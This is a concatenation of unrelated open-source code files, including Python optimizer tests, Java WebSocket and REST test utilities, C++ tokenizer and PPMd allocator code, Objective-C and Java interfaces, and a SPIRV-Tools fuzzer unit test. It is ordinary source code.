n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_js = js.JS() new_js.compile(search_space) def test_js_ocean_current(): search_space = search.SearchSpace(n_agents=10, n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_js = js.JS() new_js.compile(search_space) trend = new_js._ocean_current(search_space.agents, search_space.best_agent) assert trend[0][0] != 0 def test_js_motion_a(): search_space = search.SearchSpace(n_agents=10, n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_js = js.JS() new_js.compile(search_space) motion = new_js._motion_a(0, 1) assert motion[0] != 0 def test_js_motion_b(): search_space = search.SearchSpace(n_agents=10, n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_js = js.JS() new_js.compile(search_space) motion = new_js._motion_b(search_space.agents[0], search_space.agents[1]) assert motion[0][0] != 0 def test_js_update(): search_space = search.SearchSpace(n_agents=10, n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_js = js.JS() new_js.compile(search_space) new_js.update(search_space, 1, 10) def test_nbjs_motion_a(): search_space = search.SearchSpace(n_agents=10, n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_nbjs = js.NBJS() new_nbjs.compile(search_space) motion = new_nbjs._motion_a(0, 1) assert motion[0] != 0
1,511
2,869
<reponame>jarek-przygodzki/undertow /* * JBoss, Home of Professional Open Source. * Copyright 2014 Red Hat, Inc., and individual contributors * as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.undertow.websockets.jsr; import javax.websocket.Decoder; import javax.websocket.Encoder; import javax.websocket.Extension; import javax.websocket.server.ServerEndpointConfig; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; /** * @author <NAME> */ public class ServerEndpointConfigImpl implements ServerEndpointConfig { private final Class<?> endpointclass; private final String path; private final Map<String, Object> userProperties = new ConcurrentHashMap<>(); public ServerEndpointConfigImpl(Class<?> endpointclass, String path) { this.endpointclass = endpointclass; this.path = path; } @Override public Class<?> getEndpointClass() { return endpointclass; } @Override public String getPath() { return path; } @Override public List<String> getSubprotocols() { return Collections.emptyList(); } @Override public List<Extension> getExtensions() { return Collections.emptyList(); } @Override public Configurator getConfigurator() { return new Configurator(); } @Override public List<Class<? extends Encoder>> getEncoders() { return Collections.emptyList(); } @Override public List<Class<? extends Decoder>> getDecoders() { return Collections.emptyList(); } @Override public Map<String, Object> getUserProperties() { return userProperties; } }
762
615
/** * @file character_tokenizer.cpp * @author <NAME> */ #include "meta/analyzers/tokenizers/character_tokenizer.h" #include "meta/corpus/document.h" #include "meta/io/mmap_file.h" namespace meta { namespace analyzers { namespace tokenizers { const util::string_view character_tokenizer::id = "character-tokenizer"; character_tokenizer::character_tokenizer() : idx_{0} { // nothing } void character_tokenizer::set_content(std::string&& content) { idx_ = 0; content_ = std::move(content); } std::string character_tokenizer::next() { if (!*this) throw token_stream_exception{"next() called with no tokens left"}; return {content_[idx_++]}; } character_tokenizer::operator bool() const { return idx_ < content_.size(); } } } }
284
2,659
/* * Copyright 2021 4Paradigm * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com._4paradigm.openmldb.test_common.restful.model; import com._4paradigm.openmldb.test_common.restful.util.Tool; import com._4paradigm.openmldb.test_common.util.FedbTool; import lombok.Data; import org.apache.commons.collections4.CollectionUtils; import org.apache.commons.collections4.MapUtils; import org.apache.commons.lang3.SerializationUtils; import org.apache.commons.lang3.StringUtils; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.stream.Collectors; @Data public class RestfulCaseFile { private List<String> debugs; private RestfulCase baseCase; private List<RestfulCase> cases; // public static final Pattern PATTERN = Pattern.compile("<(.*?)>"); public List<RestfulCase> getCases(List<Integer> levels) { if (!CollectionUtils.isEmpty(debugs)) { return getCases(); } List<RestfulCase> cases = getCases().stream() .filter(sc -> levels.contains(sc.getLevel())) .collect(Collectors.toList()); return cases; } public List<RestfulCase> getCases() { if (CollectionUtils.isEmpty(cases)) { return Collections.emptyList(); } List<RestfulCase> testCaseList = new ArrayList<>(); List<String> debugs = getDebugs(); for (RestfulCase tmpCase : cases) { if(baseCase!=null){ FedbTool.mergeObject(baseCase,tmpCase); } if (!CollectionUtils.isEmpty(debugs)) { if (debugs.contains(tmpCase.getDesc().trim())) { addCase(tmpCase, testCaseList); } continue; } if (isCaseInBlackList(tmpCase)) { continue; } addCase(tmpCase, testCaseList); } return testCaseList; } private boolean isCaseInBlackList(RestfulCase tmpCase) { if (tmpCase == null) return false; List<String> tags = tmpCase.getTags(); if (tags != null && (tags.contains("TODO") || tags.contains("todo"))) { return true; } return false; } private void addCase(RestfulCase tmpCase, List<RestfulCase> testCaseList) { Map<String, List<String>> uriParameters = tmpCase.getUriParameters(); Map<String, List<String>> bodyParameters = tmpCase.getBodyParameters(); if (MapUtils.isEmpty(uriParameters) && MapUtils.isEmpty(bodyParameters)) { testCaseList.add(tmpCase); return; } if (MapUtils.isNotEmpty(uriParameters) && MapUtils.isNotEmpty(bodyParameters)) { List<String> uris = new ArrayList<>(); Tool.genStr(tmpCase.getUri(), uriParameters, uris); List<String> bodies = new ArrayList<>(); Tool.genStr(tmpCase.getBody(), bodyParameters, bodies); for (int i = 0; i < uris.size(); i++) { String newUri = uris.get(i); for (int j = 0; j < bodies.size(); j++) { RestfulCase newCase = SerializationUtils.clone(tmpCase); String newBody = bodies.get(j); newCase.setUri(newUri); newCase.setBody(newBody); newCase.setCaseId(newCase.getCaseId() + "_" + i+ "_" + j); newCase.setDesc(newCase.getDesc() + "_" + i+ "_" + j); testCaseList.add(newCase); } } return; } if (MapUtils.isNotEmpty(uriParameters)) { testCaseList.addAll(genUriCase(tmpCase, uriParameters)); } if (MapUtils.isNotEmpty(bodyParameters)) { testCaseList.addAll(genBodyCase(tmpCase, bodyParameters)); } } private List<RestfulCase> genUriCase(RestfulCase tmpCase, Map<String, List<String>> uriParameters) { List<String> uris = new ArrayList<>(); List<RestfulCase> restfulCaseList = new ArrayList<>(); Tool.genStr(tmpCase.getUri(), uriParameters, uris); for (int i = 0; i < uris.size(); i++) { String newUri = uris.get(i); RestfulCase newCase = SerializationUtils.clone(tmpCase); newCase.setUri(newUri); newCase.setCaseId(newCase.getCaseId() + "_" + i); newCase.setDesc(newCase.getDesc() + "_" + i); if (uriParameters.size() == 1 && CollectionUtils.isNotEmpty(tmpCase.getUriExpect())) { Expect newExpect = tmpCase.getUriExpect().get(i); setNewExpect(newCase, newExpect); } restfulCaseList.add(newCase); } return restfulCaseList; } private List<RestfulCase> genBodyCase(RestfulCase tmpCase, Map<String, List<String>> bodyParameters) { List<String> bodies = new ArrayList<>(); List<RestfulCase> restfulCaseList = new ArrayList<>(); Tool.genStr(tmpCase.getBody(), bodyParameters, bodies); for (int i = 0; i < bodies.size(); i++) { String newBody = bodies.get(i); RestfulCase newCase = SerializationUtils.clone(tmpCase); newCase.setBody(newBody); newCase.setCaseId(newCase.getCaseId() + "_" + i); newCase.setDesc(newCase.getDesc() + "_" + i); if (bodyParameters.size() == 1 && CollectionUtils.isNotEmpty(tmpCase.getBodyExpect())) { Expect newExpect = tmpCase.getBodyExpect().get(i); setNewExpect(newCase, newExpect); } restfulCaseList.add(newCase); } return restfulCaseList; } private void setNewExpect(RestfulCase newCase, Expect newExpect) { String newCode = newExpect.getCode(); if (StringUtils.isNotEmpty(newCode)) { newCase.getExpect().setCode(newCode); } String newMsg = newExpect.getMsg(); if (StringUtils.isNotEmpty(newMsg)) { newCase.getExpect().setMsg(newMsg); } Map<String, Object> newData = newExpect.getData(); if (MapUtils.isNotEmpty(newData)) { newCase.getExpect().setData(newData); } List<String> newColumns = newExpect.getColumns(); if (CollectionUtils.isNotEmpty(newColumns)) { newCase.getExpect().setColumns(newColumns); } List<List<Object>> newRows = newExpect.getRows(); if (CollectionUtils.isNotEmpty(newRows)) { newCase.getExpect().setRows(newRows); } List<String> sqls = newExpect.getSqls(); if (CollectionUtils.isNotEmpty(sqls)) { newCase.getExpect().setSqls(sqls); } } }
3,323
13,663
/**************************************************************************** * This file is part of PPMd project * * Written and distributed to public domain by <NAME> 1997, * * 1999-2000 * * Contents: interface to memory allocation routines * ****************************************************************************/ #if !defined(_SUBALLOC_H_) #define _SUBALLOC_H_ #if defined(__GNUC__) && defined(ALLOW_MISALIGNED) #define RARPPM_PACK_ATTR __attribute__ ((packed)) #else #define RARPPM_PACK_ATTR #endif /* defined(__GNUC__) */ #ifdef ALLOW_MISALIGNED #pragma pack(1) #endif struct RARPPM_MEM_BLK { ushort Stamp, NU; RARPPM_MEM_BLK* next, * prev; void insertAt(RARPPM_MEM_BLK* p) { next=(prev=p)->next; p->next=next->prev=this; } void remove() { prev->next=next; next->prev=prev; } } RARPPM_PACK_ATTR; #ifdef ALLOW_MISALIGNED #ifdef _AIX #pragma pack(pop) #else #pragma pack() #endif #endif class SubAllocator { private: static const int N1=4, N2=4, N3=4, N4=(128+3-1*N1-2*N2-3*N3)/4; static const int N_INDEXES=N1+N2+N3+N4; struct RAR_NODE { RAR_NODE* next; }; inline void InsertNode(void* p,int indx); inline void* RemoveNode(int indx); inline uint U2B(int NU); inline void SplitBlock(void* pv,int OldIndx,int NewIndx); inline void GlueFreeBlocks(); void* AllocUnitsRare(int indx); inline RARPPM_MEM_BLK* MBPtr(RARPPM_MEM_BLK *BasePtr,int Items); long SubAllocatorSize; byte Indx2Units[N_INDEXES], Units2Indx[128], GlueCount; byte *HeapStart,*LoUnit, *HiUnit; struct RAR_NODE FreeList[N_INDEXES]; public: SubAllocator(); ~SubAllocator() {StopSubAllocator();} void Clean(); bool StartSubAllocator(int SASize); void StopSubAllocator(); void InitSubAllocator(); inline void* AllocContext(); inline void* AllocUnits(int NU); inline void* ExpandUnits(void* ptr,int OldNU); inline void* ShrinkUnits(void* ptr,int OldNU,int NewNU); inline void FreeUnits(void* ptr,int OldNU); long GetAllocatedMemory() {return(SubAllocatorSize);} byte *pText, *UnitsStart,*HeapEnd,*FakeUnitsStart; byte *HeapStartFixed; void SetHeapStartFixed(byte *p) {HeapStartFixed=p;} }; #endif /* !defined(_SUBALLOC_H_) */
1,079
398
<gh_stars>100-1000 package io.joyrpc.codec.serialization; /*- * #%L * joyrpc * %% * Copyright (C) 2019 joyrpc.io * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ import java.io.IOException; import java.io.ObjectInput; /** * 高级的Java对象读取器 */ public class AdvanceObjectInputReader extends ObjectInputReader { public AdvanceObjectInputReader(ObjectInput input) { super(input); } @Override public String readUTF() throws IOException { int len = input.readInt(); if (len < 0) { return null; } return input.readUTF(); } @Override public Object readObject() throws IOException { try { byte b = input.readByte(); if (b == 0) { return null; } return input.readObject(); } catch (ClassNotFoundException e) { return new IOException(e.getMessage(), e); } } }
559
14,668
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IOS_CHROME_BROWSER_UI_OMNIBOX_POPUP_OMNIBOX_POPUP_PRESENTER_H_ #define IOS_CHROME_BROWSER_UI_OMNIBOX_POPUP_OMNIBOX_POPUP_PRESENTER_H_ #import <UIKit/UIKit.h> @class OmniboxPopupPresenter; @protocol OmniboxPopupPresenterDelegate // View to which the popup view should be added as subview. - (UIView*)popupParentViewForPresenter:(OmniboxPopupPresenter*)presenter; // The view controller that will parent the popup. - (UIViewController*)popupParentViewControllerForPresenter: (OmniboxPopupPresenter*)presenter; // Alert the delegate that the popup opened. - (void)popupDidOpenForPresenter:(OmniboxPopupPresenter*)presenter; // Alert the delegate that the popup closed. - (void)popupDidCloseForPresenter:(OmniboxPopupPresenter*)presenter; @end // The UI Refresh implementation of the popup presenter. // TODO(crbug.com/936833): This class should be refactored to handle a nil // delegate. @interface OmniboxPopupPresenter : NSObject // Whether the popup is open @property(nonatomic, assign, getter=isOpen) BOOL open; // Uses the popup's intrinsic content size to add or remove the popup view // if necessary. - (void)updatePopup; - (instancetype)initWithPopupPresenterDelegate: (id<OmniboxPopupPresenterDelegate>)presenterDelegate popupViewController:(UIViewController*)viewController incognito:(BOOL)incognito; @end #endif // IOS_CHROME_BROWSER_UI_OMNIBOX_POPUP_OMNIBOX_POPUP_PRESENTER_H_
620
2,497
package eta.runtime.apply; import eta.runtime.stg.Closure; public class Function1_1 extends Function1 { public Closure x1; public Function1_1(Closure x1) { this.x1 = x1; } }
82
1,570
<filename>third_party/spirv-tools/test/fuzz/transformation_add_constant_null_test.cpp // Copyright (c) 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "source/fuzz/transformation_add_constant_null.h" #include "gtest/gtest.h" #include "source/fuzz/fuzzer_util.h" #include "test/fuzz/fuzz_test_util.h" namespace spvtools { namespace fuzz { namespace { TEST(TransformationAddConstantNullTest, BasicTest) { std::string shader = R"( OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" OpExecutionMode %4 OriginUpperLeft OpSource ESSL 310 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeFloat 32 %7 = OpTypeInt 32 1 %8 = OpTypeVector %6 2 %9 = OpTypeVector %6 3 %10 = OpTypeVector %6 4 %11 = OpTypeVector %7 2 %20 = OpTypeSampler %21 = OpTypeImage %6 2D 0 0 0 0 Rgba32f %22 = OpTypeSampledImage %21 %4 = OpFunction %2 None %3 %5 = OpLabel OpReturn OpFunctionEnd )"; const auto env = SPV_ENV_UNIVERSAL_1_4; const auto consumer = nullptr; const auto context = BuildModule(env, consumer, shader, kFuzzAssembleOption); spvtools::ValidatorOptions validator_options; ASSERT_TRUE(fuzzerutil::IsValidAndWellFormed(context.get(), validator_options, kConsoleMessageConsumer)); TransformationContext transformation_context( MakeUnique<FactManager>(context.get()), validator_options); // Id already in use ASSERT_FALSE(TransformationAddConstantNull(4, 11).IsApplicable( context.get(), transformation_context)); // %1 is not a type ASSERT_FALSE(TransformationAddConstantNull(100, 1).IsApplicable( context.get(), transformation_context)); // %3 is a function type ASSERT_FALSE(TransformationAddConstantNull(100, 3).IsApplicable( context.get(), transformation_context)); // %20 is a sampler type ASSERT_FALSE(TransformationAddConstantNull(100, 20).IsApplicable( context.get(), transformation_context)); // %21 is an image type ASSERT_FALSE(TransformationAddConstantNull(100, 21).IsApplicable( context.get(), transformation_context)); // %22 is a sampled image type ASSERT_FALSE(TransformationAddConstantNull(100, 22).IsApplicable( context.get(), transformation_context)); TransformationAddConstantNull transformations[] = { // %100 = OpConstantNull %6 TransformationAddConstantNull(100, 6), // %101 = OpConstantNull %7 TransformationAddConstantNull(101, 7), // %102 = OpConstantNull %8 TransformationAddConstantNull(102, 8), // %103 = OpConstantNull %9 TransformationAddConstantNull(103, 9), // %104 = OpConstantNull %10 TransformationAddConstantNull(104, 10), // %105 = OpConstantNull %11 TransformationAddConstantNull(105, 11)}; for (auto& transformation : transformations) { ASSERT_TRUE( transformation.IsApplicable(context.get(), transformation_context)); ApplyAndCheckFreshIds(transformation, context.get(), &transformation_context); } ASSERT_TRUE(fuzzerutil::IsValidAndWellFormed(context.get(), validator_options, kConsoleMessageConsumer)); std::string after_transformation = R"( OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" OpExecutionMode %4 OriginUpperLeft OpSource ESSL 310 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeFloat 32 %7 = OpTypeInt 32 1 %8 = OpTypeVector %6 2 %9 = OpTypeVector %6 3 %10 = OpTypeVector %6 4 %11 = OpTypeVector %7 2 %20 = OpTypeSampler %21 = OpTypeImage %6 2D 0 0 0 0 Rgba32f %22 = OpTypeSampledImage %21 %100 = OpConstantNull %6 %101 = OpConstantNull %7 %102 = OpConstantNull %8 %103 = OpConstantNull %9 %104 = OpConstantNull %10 %105 = OpConstantNull %11 %4 = OpFunction %2 None %3 %5 = OpLabel OpReturn OpFunctionEnd )"; ASSERT_TRUE(IsEqual(env, after_transformation, context.get())); } } // namespace } // namespace fuzz } // namespace spvtools
2,130
1,037
package com.example.datadroiddemo.base; import android.os.Bundle; import com.foxykeep.datadroid.requestmanager.Request; import com.foxykeep.datadroid.requestmanager.RequestManager.RequestListener; /** * Define the common interface for activity, fragment and service */ public interface RequestBase extends RequestListener, ExceptionHandler { /** * Do the initialization of the data members * * @param savedInstanceState */ public void initAllMembers(Bundle savedInstanceState); /** * Launch any kind of request * * @param request */ public void launchRequest(Request request); /** * Subclass should override this method to handle the request result * * @param request * @param bundle */ public void onRequestSucess(Request request, Bundle bundle); /** * Subclass could override this method to handle error * * @param exceptionType */ public void onRequestError(int exceptionType); }
264